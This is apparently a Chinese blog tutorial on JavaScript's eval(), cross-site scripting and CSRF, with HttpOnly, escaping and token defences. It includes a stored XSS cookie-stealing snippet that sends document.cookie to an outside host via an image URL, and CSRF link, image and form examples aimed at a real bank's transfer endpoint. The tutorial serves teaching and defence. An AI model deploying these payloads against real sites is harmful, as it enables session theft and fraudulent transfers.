要说javascript中最为强大的一个方法便是eval()方法呢,为何如此说呢?因为它就像是一个JavaScript解析器,也就是说它的参数就是一段js代码所构成的字符串,当执行这个函数的时候,会把参数里的字符串当成js代码运行.
比如:eval(alert("我是一个弹出框")),这一行代码就等价于alert("我是一个弹出框").
这个方法会将执行结果插入到原位置.而实际上这个方法在执行参数中的js代码中,就包含了调用该执行环境,这也就是说在这个执行环境中有与参数代码所执行的相同的作用域链.因此该方法实际上也可以引用该执行环境中所定义的变量,如下图所示:
而同样的,函数也能够eval()方法里定义,外部调用,因为实际上eval()方法里的字符串与后面的代码是一行代码而已.
不过需要注意的就是eval()方法里没有提升的说法,即函数和变量都不会提升,除此之外,在严格模式下,外部是访问不到eval()里所定义的变量或者函数的,因此会报错,而同样的eval也相当于是一个关键字,不能作为变量为其赋值.
这就是eval()方法的强大之处,但这么强大却也非常的危险,因为可能会有用户恶意输入数据或者病毒危险网站站点或者应用程序安全的代码(这种情况也被叫做代码注入).
这也是我接下来要说的XSS(Cross site Scripting,跨站脚本攻击).
利用别人的cookie,可以冒充真实的用户,在用户所颁发cookie的那个网站中为所欲为,因为浏览器的同源策略,所以是无法访问别的网站的cookie的,但可以通过JavaScript代码注入到目标页面中,就可以绕过同源策略.
比如用户在一个 html的表单元素input中输入账号和密码,等到数据提交并保存到服务器上时,就可以在下次展示页面的时候,重新运行这段代码.举个例子:
假设有如下的代码:
<p>不错的文章,点赞一下!</p>
<script type="text/javascript">alert(document.cookie)</script>
等到有人再次访问那个网站的时候,就可以将用户的cookie显示出来,当然并不能直接将用户的cookie信息显示出来,由于JavaScript的跨域访问被浏览器的同源策略所限制,但是可以通过创建一个不可见的<img>图片标签去下载一个包含用户cookie的图片,因为浏览器同源策略并不限制图片标签的下载(跨域).然后通过这个图片标签将cookie发送到自己的服务器上,代码如下:
//创建一个图片标签
var img = document.createElement(‘img‘);
//指定图片路径
img.src = "http://web.com/log?" + escape(document.cookie);
//将图片标签添加到页面body标签中
documen.body.append(img);
只要如上代码执行,就会将用户的cookie发送到别人的服务器"http://web.com/log"并保存成一个js文件,假设就叫web.js.
如此一来,就可以拿到用户的cookie,这种窃取用户cookie的方法 就被叫做XSS.
XSS有很多中分类,以上的是危害最大的,叫做存储性XSS,还有反射型XSS和基于dom的XSS.
防范措施:可以为网站的cookie加一个HttpOnly属性:
Set-Cookie: JSESSIONID=xxxxxx;Path=/;Domain=book.com;HttpOnly
这样浏览器就禁止读取JavaScript代码呢.
当然,通过页面注入JavaScript代码,不止可以借用别人的cookie,还可以比如模拟一个真实的用户登陆界面,或者可以通过JavaScript构造GET与POST请求,往服务器发送请求,请求数据,然后删除一些重要信息啊,或者转账啊等等.
防范措施:
可以做一个过滤判断,将用户输入的<>类似这类字符给过滤掉,或者进行编码转义,比如将<转义成<将>转义成>这样就可以将script标签里的代码当作字符串输出,就不会运行代码呢(而这也是eval()函数非常危险的地方).
CSRF(Cross Site Request Forgery,跨站请求伪造)
一个用户的会话存储cookie在浏览器没有关闭之前,是不会被删除的,这也就是说,黑客没必要去偷用户的cookie了,可以在某个网址(比如:web.com)构造一个领奖页面,吸引用户的注意力,然后构造一个超链接,让用户去点击.代码如下:
?<p>恭喜你中了大奖,获得IPhone7一部,快来
<a href="www.icbc.com.cn/transfer?toBankId=‘黑客的账户‘&money=‘金额‘">领取吧</a></p>
当然,这得事先知道icbc.com这个网站的转账操作url和参数名称.
如果这个用户刚好登陆过这个网站,那么他的cookie还在,当他禁不住点击这个链接之后,转账操作就会神不知鬼不觉的发生了.
注:当然这里的案例比较简单,银行转账是比这安全多了.
除了让用户点击外,还可以通过使用<img src="www.icbc.com.cn/transfer?toBankId=‘黑客的账户‘&money=‘金额‘"/>图片,只要用户打开了这个页面,就会发生转账操作.
所以,现在很多邮箱的邮件图片都是默认不显示的.如果icbc.com的转账操作需要操作一个form表单,并且是POST方法操作,那么可以自己创建一个表单,放到一个不可见的内联框架<iframe></iframe>中,这样,一旦用户访问了该页面,就用JavaScript代码提交.代码如下:
<form action="www.icbc.com.cn/transfer" method = "POST">
<input type="text" name="toBankId" value="请输入你的id">
<input type="text" name="money" value="请输入金额">
</form>
总而言之,只要用户访问了icbc.com.cn这个网址,就极有可能中招,这是利用了合法的cookie(在浏览器看来这是合法的),这就叫做CSRF.
防范措施:
添加一个隐藏的token,让服务器生成一个token,代码如下:
<form action="www.icbc.com.cn/transfer" method = "POST">
?<input type="text" name="token" value="一段看不懂的字符,这就是token">
<input type="text" name="toBankId" value="请输入你的id">
<input type="text" name="money" value="请输入金额">
</form>
由于服务器生成了token,所以在用户进行转账的时候,icbc.com这个网站就会检查用户传过来的数据中有没有token,或者与保存在服务器中的token是否相等,如果相等才执行转账操作,否则就不进行转账操作,这也就说明这次的POST请求是伪造的.
既然token是服务器端生成的,那么CSRF自然也就不行了.